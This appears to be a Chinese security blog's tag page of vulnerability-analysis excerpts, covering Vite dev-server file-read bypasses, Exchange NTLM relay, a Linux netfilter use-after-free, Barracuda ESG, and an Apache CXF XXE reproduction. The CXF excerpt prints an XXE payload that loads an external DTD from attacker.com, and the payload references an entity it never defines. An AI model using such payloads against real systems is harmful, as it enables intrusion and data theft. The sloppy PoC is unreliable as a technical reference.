Below you will find pages that utilize the taxonomy term “漏洞分析”
2025 Vite 漏洞分析:原理、利用与防御
前言 最近几个月,项目收尾和安全评估工作接踵而至,导致博客更新未能如期进行。直到近期稍有空闲,才得以整理这段时间的技术观察。2025 年初,前端开发工具 Vite 及其相关生态接连爆出多起高危漏洞,包括 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486,以及 Vitest 的 CVE-2025-24964。这些漏洞暴露了前端开发工具在配置安全上的盲点,也为深入分析现代 Web 开发工具安全机制提供了案例。本文将从技术角度剖析这几起漏洞,解析其原理、利用方式和实际防御措施。
一、Vite 漏洞背景与共性分析 Vite 作为主流前端构建工具,凭借原生 ES 模块支持和高效的热模块替换(HMR)功能,广泛应用于 Vue、React 等框架的开发中。然而,Vite 的开发服务器(Dev Server)设计初衷是为本地开发环境优化,缺乏严格的访问控制和路径验证机制,这构成了近期漏洞的共性根源。以下几起漏洞均与开发服务器暴露于网络环境(通过 –host 或 server.host 配置)相关,攻击者可通过精心构造的请求绕过安全限制或执行恶意代码。
共性问题
路径验证不足:Vite 开发服务器处理 URL 请求时,未对路径进行严格规范化,允许攻击者通过特殊参数或路径穿越绕过限制。 网络暴露风险:默认情况下,Vite 开发服务器仅监听本地,但开发者常通过 –host 或 server.host 暴露至外部网络,扩大了攻击面。 查询参数处理缺陷:Vite 对特定查询参数的处理存在漏洞,导致文件访问控制失效。
接下来,我将逐一分析这几起漏洞的技术细节。
二、CVE-2025-30208:任意文件读取漏洞 漏洞概述 CVE-2025-30208 是 Vite 开发服务器中的一处文件读取漏洞,允许攻击者在特定条件下通过构造特殊 URL 绕过文件访问限制,读取项目根目录外的任意文件。影响版本包括 Vite 0.0.0 至 6.2.2(修复版本为 6.2.3 及以上)。该漏洞于 2025 年 3 月 24 日公开,CVSS 分数为 7.5,PoC 已公开。
漏洞原理 Vite 开发服务器通过 @fs 前缀限制对项目根目录外的文件访问。但攻击者可通过在 URL 中附加 ?raw 或 ?import&raw 参数,绕过这一限制。根本原因在于 Vite 的查询参数解析逻辑存在缺陷,导致正则表达式未能有效验证请求路径。
CVE-2024-21410:Microsoft Exchange Server 特权提升漏洞深度分析与缓解
1. 漏洞概述:CVE-2024-21410 Exchange Server 特权提升
CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞,并且微软已确认该漏洞 已被在野利用,风险等级极高。
漏洞编号 (CVE): CVE-2024-21410
漏洞类型: 特权提升
受影响组件: Microsoft Exchange Server
严重程度: 严重
利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希,并将该哈希中继到易受攻击的 Exchange Server。
漏洞危害: 成功利用此漏洞的攻击者,可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server,并 以被中继用户的身份通过身份验证,从而获得与该用户相同的权限,可能导致敏感信息泄露、越权操作等严重安全风险。
2. 漏洞原理分析:NTLM 中继攻击与 Exchange Server
CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞,需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。
2.1 NTLM 认证机制简介
NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中,客户端需要向服务器证明自己的身份,而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本,安全性相对更高,但仍然存在被中继攻击的风险。
深入分析 CVE-2023-32233:Linux 内核 Netfilter UAF 提权漏洞
最近研究了 CVE-2023-32233,这是一个影响 Linux 6.3 及之前版本 的 UAF(Use-After-Free) 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件,因此该漏洞的影响范围较广,攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。
1. 漏洞背景
1.1 Netfilter 与 nftables 简介
Netfilter 是 Linux 内核防火墙的核心组件,而 nftables 作为 iptables 的替代方案,被广泛应用于防火墙、流量过滤和 NAT 规则管理。
该漏洞出现在 nftables 代码逻辑中,攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构,导致堆内存覆盖,最终实现提权。
1.2 影响范围
受影响的内核版本:
- Linux 5.13 - 6.3
- Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启
nftables的系统
2. 漏洞分析
2.1 代码成因
漏洞的核心问题在于 nft_set_elem 结构释放后,仍然被访问:
static void nft_setelem_activate(const struct nft_ctx *ctx,
struct nft_set *set,
struct nft_set_elem *elem)
{
if (nft_set_elem_is_active(set, elem))
return;
elem->priv = nft_trans_elem(ctx->tx);
}
在 nft_setelem_activate() 中,elem->priv 被赋值为 nft_trans_elem(ctx->tx),但 elem 可能已经被释放,这样攻击者就能劫持 priv 指针,导致UAF 访问。
久违的更新:最近的研究、漏洞复现与一些思考
好久没更新了,博客还是得写点东西,不然感觉像是荒废了。不过写博客这事,还是随缘,毕竟日常事情够多的,没必要硬凑内容。
这一阵子主要在搞漏洞复现和一些技术积累,趁着空闲整理下笔记,顺便聊聊最近遇到的一些有意思的东西。
近期的安全研究
1. CVE-2023-2868:邮件安全网关远程命令执行漏洞
前段时间研究了一下 CVE-2023-2868,这是一个 Barracuda Email Security Gateway(ESG)上的 RCE 漏洞。官方 CVSS 评分 9.8,基本上是“不能不修”的级别。
这个漏洞本质上是对 TAR 格式解析的处理不当,导致攻击者可以构造特定的压缩包,在解析时触发远程命令执行。这个漏洞比较麻烦的一点是,它早在 2022 年 10 月就被 APT 组织利用了,而 Barracuda 直到 2023 年 5 月才公开披露,等于白送攻击者大半年时间。
漏洞复现过程就不细讲了,核心点在于:
- 需要找到一个受影响版本的 ESG 设备(虚拟环境搭建不算难,但环境获取相对麻烦)。
- 发送特制的 TAR 附件,利用 ESG 解析过程中的漏洞执行任意命令。
- 观察服务器端返回情况,确认成功 RCE。
Barracuda 官方建议是尽快升级,但考虑到 APT 组织长期利用的可能性,真正的解决方案其实是直接换设备,因为攻击者可能早就植入了后门。补丁能修漏洞,但不能抹掉入侵历史。
2. 某些老旧 Web 框架的安全问题
最近看了一些老项目,发现很多仍然在用老旧的 Web 框架,有的甚至是 2016 年左右的代码,安全性堪忧:
- Spring 早期版本的 Actuator 接口暴露问题
/actuator/env、/actuator/configprops这些接口在很多老项目里默认是开放的,一些开发者甚至没有权限控制机制,直接导致环境变量和应用配置泄露。 - Shiro 反序列化漏洞
还见到有些项目用的 Shiro 版本很老,rememberMe反序列化漏洞依然存在,虽然 Shiro 早就修了,但这些项目压根没升级。
有时候搞这些老项目,比分析 0day 还麻烦,因为很多代码根本没文档,甚至得靠翻源码才能搞清楚逻辑。更别提修复了,动一块就容易牵扯一大片。
Apache CXF远程代码执行漏洞(CVE-2022-46363)分析与复现
春节假期结束,收拾心情重新投入到工作中。趁着年后这段时间,深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞,这里跟大家分享下我的分析过程。
漏洞概述
- CVE编号: CVE-2022-46363
- 影响版本:
- Apache CXF < 3.4.10
- Apache CXF 3.5.0 到 3.5.4
- CVSS评分: 7.5 (高危)
- 漏洞类型: 远程代码执行
漏洞原理分析
这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说,是在处理WADL文档中的resource元素时,对外部实体引用(XXE)的处理不当。
关键代码片段:
public class WADLToJavaProcessor {
private void processResources(Resources resources) {
for (Resource r : resources.getResource()) {
// 这里直接处理外部资源,没有做足够的安全检查
String path = r.getPath();
processResource(path);
}
}
}
漏洞触发条件
- WADL文档中包含恶意的外部实体引用
- 服务器启用了WADL生成功能
- 攻击者能够控制WADL文档的输入
漏洞复现
1. 环境搭建
<!-- pom.xml -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxrs</artifactId>
<version>3.4.9</version>
</dependency>
2. 构造POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
<resources base="http://example.com/">
<resource path="test">
&xxe;
</resource>
</resources>
</application>
3. 验证过程
- 启动包含漏洞版本的CXF服务
- 发送构造的WADL文档
- 观察服务器响应和日志
修复方案
-
官方修复方案: